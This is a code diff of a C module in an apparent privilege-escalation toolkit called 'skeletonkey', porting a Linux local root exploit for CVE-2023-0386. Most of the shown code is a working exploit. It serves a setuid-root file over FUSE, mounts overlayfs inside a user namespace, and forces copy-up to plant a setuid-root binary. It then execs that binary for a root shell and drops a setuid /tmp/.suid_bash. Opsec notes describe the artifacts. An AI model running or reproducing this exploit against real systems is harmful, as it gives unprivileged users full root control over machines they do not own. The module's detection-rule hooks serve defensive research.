||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
|
||||||
/* try non-static */
|
|
||||||
pid = fork();
|
|
||||||
if (pid == 0) {
|
|
||||||
execl(gcc, gcc, "-O2", "-o", bin_path, src_path, (char *)NULL);
|
|
||||||
_exit(127);
|
|
||||||
}
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: gcc failed\n"); goto fail;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Child does the userns + overlayfs work. */
|
|
||||||
char upper[600], work[600], merged[600];
|
|
||||||
snprintf(upper, sizeof upper, "%s/upper", workdir);
|
snprintf(upper, sizeof upper, "%s/upper", workdir);
|
||||||
snprintf(work, sizeof work, "%s/work", workdir);
|
snprintf(work, sizeof work, "%s/work", workdir);
|
||||||
snprintf(merged, sizeof merged, "%s/merged", workdir);
|
snprintf(merged, sizeof merged, "%s/merged", workdir);
|
||||||
if (mkdir(upper, 0755) < 0 || mkdir(work, 0755) < 0
|
snprintf(payc, sizeof payc, "%s/p.c", workdir);
|
||||||
|| mkdir(merged, 0755) < 0) {
|
snprintf(gcbin, sizeof gcbin, "%s/gc", workdir);
|
||||||
perror("mkdir layout"); goto fail;
|
snprintf(carrier,sizeof carrier,"%s/file", upper);
|
||||||
}
|
snprintf(mfile, sizeof mfile, "%s/file", merged);
|
||||||
|
mkdir(lower, 0755); mkdir(upper, 0755); mkdir(work, 0755); mkdir(merged, 0755);
|
||||||
|
|
||||||
uid_t outer_uid = getuid();
|
/* Build the setuid payload ELF. It drops a witness (setuid /tmp/.suid_bash
|
||||||
gid_t outer_gid = getgid();
|
* + an id sentinel) so success is observable non-interactively, then execs
|
||||||
char merged_carrier[1024];
|
* a root shell. */
|
||||||
snprintf(merged_carrier, sizeof merged_carrier, "%s/%s", merged, carrier_name);
|
if (!write_file_str(payc, OVERLAYFS_SU_PAYLOAD)) { fprintf(stderr, "[-] write payload.c\n"); goto fail; }
|
||||||
|
{ pid_t g = fork();
|
||||||
|
if (g == 0) { execl(gcc, gcc, "-O2", "-w", "-o", gcbin, payc, (char *)NULL); _exit(127); }
|
||||||
|
int st; waitpid(g, &st, 0);
|
||||||
|
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { fprintf(stderr, "[-] gcc failed building payload\n"); goto fail; } }
|
||||||
|
|
||||||
pid_t child = fork();
|
{ int f = open(gcbin, O_RDONLY); if (f < 0) { perror("open payload elf"); goto fail; }
|
||||||
if (child < 0) { perror("fork"); goto fail; }
|
struct stat st; if (fstat(f, &st) != 0) { close(f); goto fail; }
|
||||||
if (child == 0) {
|
g_ovlsu_elf_len = (size_t)st.st_size;
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
g_ovlsu_elf = malloc(g_ovlsu_elf_len ? g_ovlsu_elf_len : 1);
|
||||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
if (!g_ovlsu_elf || read(f, g_ovlsu_elf, g_ovlsu_elf_len) != (ssize_t)g_ovlsu_elf_len) { close(f); goto fail; }
|
||||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
close(f); }
|
||||||
char m[64];
|
|
||||||
snprintf(m, sizeof m, "0 %u 1\n", outer_uid);
|
|
||||||
f = open("/proc/self/uid_map", O_WRONLY);
|
|
||||||
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(3);
|
|
||||||
close(f);
|
|
||||||
snprintf(m, sizeof m, "0 %u 1\n", outer_gid);
|
|
||||||
f = open("/proc/self/gid_map", O_WRONLY);
|
|
||||||
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(4);
|
|
||||||
close(f);
|
|
||||||
|
|
||||||
char opts[2048];
|
if (!ctx->json)
|
||||||
snprintf(opts, sizeof opts, "lowerdir=%s,upperdir=%s,workdir=%s",
|
fprintf(stderr, "[*] overlayfs_setuid: FUSE-serving a setuid-root /file (libfuse), overlay "
|
||||||
carrier_dir, upper, work);
|
"copy-up into %s (CVE-2023-0386)\n", upper);
|
||||||
if (mount("overlay", merged, "overlay", 0, opts) < 0) {
|
|
||||||
perror("mount overlay"); _exit(5);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Trigger copy-up by chown — this is the bug: setuid bit gets
|
/* Fork the FUSE server (init-ns mount via the setuid fusermount helper). */
|
||||||
* preserved on the upper-layer copy even though we're the one
|
pid_t fpid = fork();
|
||||||
* doing the chown (and we don't normally have CAP_FSETID). */
|
if (fpid < 0) { perror("fork fuse"); goto fail; }
|
||||||
if (chown(merged_carrier, 0, 0) < 0) {
|
if (fpid == 0) {
|
||||||
/* on some kernels chown is rejected; try unlink+rename
|
/* quiesce libfuse chatter unless --json off */
|
||||||
* pattern instead */
|
int nfd = open("/dev/null", O_WRONLY); if (nfd >= 0) { dup2(nfd, 2); close(nfd); }
|
||||||
perror("chown merged carrier"); _exit(6);
|
ovlsu_fuse_serve(lower);
|
||||||
}
|
|
||||||
/* Now overwrite the file content (since we own the upper inode
|
|
||||||
* post-chown — actually post-bug, but the upper inode is
|
|
||||||
* attacker-controlled).
|
|
||||||
*
|
|
||||||
* Caveat: the chown is what triggers copy-up + retains setuid.
|
|
||||||
* On many vulnerable kernels we now need to do an additional
|
|
||||||
* write to replace the binary contents. */
|
|
||||||
int payload_fd = open(bin_path, O_RDONLY);
|
|
||||||
if (payload_fd < 0) { perror("open payload"); _exit(7); }
|
|
||||||
int out_fd = open(merged_carrier, O_WRONLY | O_TRUNC);
|
|
||||||
if (out_fd < 0) { perror("open merged_carrier RW"); close(payload_fd); _exit(8); }
|
|
||||||
char buf[4096];
|
|
||||||
ssize_t n;
|
|
||||||
while ((n = read(payload_fd, buf, sizeof buf)) > 0) {
|
|
||||||
if (write(out_fd, buf, n) != n) { perror("write replace"); _exit(9); }
|
|
||||||
}
|
|
||||||
close(payload_fd); close(out_fd);
|
|
||||||
_exit(0);
|
_exit(0);
|
||||||
}
|
}
|
||||||
waitpid(child, &status, 0);
|
|
||||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
/* Wait for the FUSE mount to answer. */
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: child setup failed (status=%d)\n", status);
|
int ready = 0;
|
||||||
|
for (int i = 0; i < 300; i++) {
|
||||||
|
struct stat sf; char fp[176]; snprintf(fp, sizeof fp, "%s/file", lower);
|
||||||
|
if (stat(fp, &sf) == 0) { ready = 1; break; }
|
||||||
|
usleep(10000);
|
||||||
|
}
|
||||||
|
if (!ready) {
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: FUSE mount did not come up (fusermount missing/denied?)\n");
|
||||||
|
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
|
||||||
goto fail;
|
goto fail;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Verify the upper file has setuid */
|
/* Exploit child: userns + overlay(lower=fuse) + copy-up. */
|
||||||
char upper_carrier[1024];
|
pid_t xpid = fork();
|
||||||
snprintf(upper_carrier, sizeof upper_carrier, "%s/%s", upper, carrier_name);
|
if (xpid < 0) { perror("fork exploit"); kill(fpid, SIGKILL); waitpid(fpid, NULL, 0); goto fail; }
|
||||||
struct stat st;
|
if (xpid == 0) {
|
||||||
if (stat(upper_carrier, &st) < 0 || !(st.st_mode & S_ISUID)) {
|
uid_t ou = getuid(); gid_t og = getgid(); /* BEFORE unshare */
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: setuid bit didn't persist on upper "
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||||
"(stat = %s)\n", strerror(errno));
|
{ int f = open("/proc/self/setgroups", O_WRONLY); if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||||
|
char m[64];
|
||||||
|
int fu = open("/proc/self/uid_map", O_WRONLY); if (fu >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", ou); (void)!write(fu, m, n); close(fu); }
|
||||||
|
int fg = open("/proc/self/gid_map", O_WRONLY); if (fg >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", og); (void)!write(fg, m, n); close(fg); } }
|
||||||
|
|
||||||
|
char oo[640];
|
||||||
|
snprintf(oo, sizeof oo, "lowerdir=%s,upperdir=%s,workdir=%s", lower, upper, work);
|
||||||
|
if (mount("overlay", merged, "overlay", 0, oo) < 0) { perror("mount overlay"); _exit(6); }
|
||||||
|
|
||||||
|
/* Trigger copy-up: opening the merged file copies it from the FUSE
|
||||||
|
* lower into the real upper, preserving setuid + root uid. */
|
||||||
|
int cf = open(mfile, O_WRONLY | O_CREAT, 0666); if (cf >= 0) close(cf);
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
waitpid(xpid, NULL, 0);
|
||||||
|
|
||||||
|
/* Tear the FUSE mount down now that copy-up is done (upper/file persists
|
||||||
|
* on the real fs). */
|
||||||
|
{ char cmd[400];
|
||||||
|
snprintf(cmd, sizeof cmd, "fusermount3 -u '%s' 2>/dev/null || fusermount -u '%s' 2>/dev/null", lower, lower);
|
||||||
|
(void)!system(cmd); }
|
||||||
|
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
|
||||||
|
|
||||||
|
struct stat us;
|
||||||
|
if (stat(carrier, &us) != 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: copy-up did not materialise %s — kernel may be "
|
||||||
|
"patched\n", carrier);
|
||||||
goto fail;
|
goto fail;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: upper-layer %s has setuid bit; execing\n",
|
fprintf(stderr, "[+] overlayfs_setuid: copy-up produced %s (uid=%u mode=%04o) — executing "
|
||||||
upper_carrier);
|
"as the real user\n", carrier, (unsigned)us.st_uid, (unsigned)(us.st_mode & 07777));
|
||||||
}
|
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
|
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — setuid-root carrier planted at %s\n", carrier);
|
||||||
upper_carrier);
|
|
||||||
return SKELETONKEY_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
fflush(NULL);
|
fflush(NULL);
|
||||||
execl(upper_carrier, upper_carrier, (char *)NULL);
|
pid_t r = fork();
|
||||||
perror("execl upper carrier");
|
if (r == 0) {
|
||||||
|
int dn = open("/dev/null", O_RDONLY); if (dn >= 0) { dup2(dn, 0); close(dn); }
|
||||||
|
execl(carrier, carrier, (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
waitpid(r, NULL, 0);
|
||||||
|
|
||||||
|
struct stat ss;
|
||||||
|
if ((stat("/tmp/.suid_bash", &ss) == 0 && (ss.st_mode & 04000)) ||
|
||||||
|
stat("/tmp/skeletonkey-ovlsu-pwned", &ss) == 0) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[+] overlayfs_setuid: ROOT — payload ran as uid 0\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: carrier ran but produced no root witness\n");
|
||||||
|
|
||||||
fail:
|
fail:
|
||||||
unlink(src_path); unlink(bin_path);
|
|
||||||
rmdir(upper); rmdir(work); rmdir(merged);
|
|
||||||
rmdir(workdir);
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !OVLSU_HAVE_FUSE — built without libfuse */
|
||||||
|
|
||||||
|
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE && pre != SKELETONKEY_OK) return pre;
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: built WITHOUT libfuse — the CVE-2023-0386 exploit needs a "
|
||||||
|
"FUSE lower layer. Install libfuse3-dev (or libfuse-dev) and rebuild.\n");
|
||||||
|
(void)OVERLAYFS_SU_PAYLOAD; (void)which_gcc; (void)write_file_str;
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* OVLSU_HAVE_FUSE */
|
||||||
|
|
||||||
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
@@ -471,7 +650,7 @@ const struct skeletonkey_module overlayfs_setuid_module = {
|
|||||||
.detect_sigma = overlayfs_setuid_sigma,
|
.detect_sigma = overlayfs_setuid_sigma,
|
||||||
.detect_yara = overlayfs_setuid_yara,
|
.detect_yara = overlayfs_setuid_yara,
|
||||||
.detect_falco = overlayfs_setuid_falco,
|
.detect_falco = overlayfs_setuid_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.",
|
.opsec_notes = "Faithful CVE-2023-0386 port: a libfuse filesystem exports a setuid-root /file (st_uid=0, mode 04777), mounted in the init ns via the setuid fusermount helper; then unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with that FUSE mount as lowerdir; open(merged/file, O_WRONLY) triggers copy-up that materialises upper/file as a real setuid-root binary, which the unprivileged parent execs for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir: payload.c, the payload ELF, FUSE mount at lower/, overlay upper/work/merged), plus a setuid /tmp/.suid_bash and /tmp/skeletonkey-ovlsu-pwned witness dropped by the root payload; cleanup callback removes /tmp/skeletonkey-ovlsu-*. Audit-visible via mount(fuse) + fusermount execve + unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay), then a setuid-root binary exec by a non-root uid. No network. Dmesg silent on success.",
|
||||||
.arch_support = "x86_64+unverified-arm64",
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user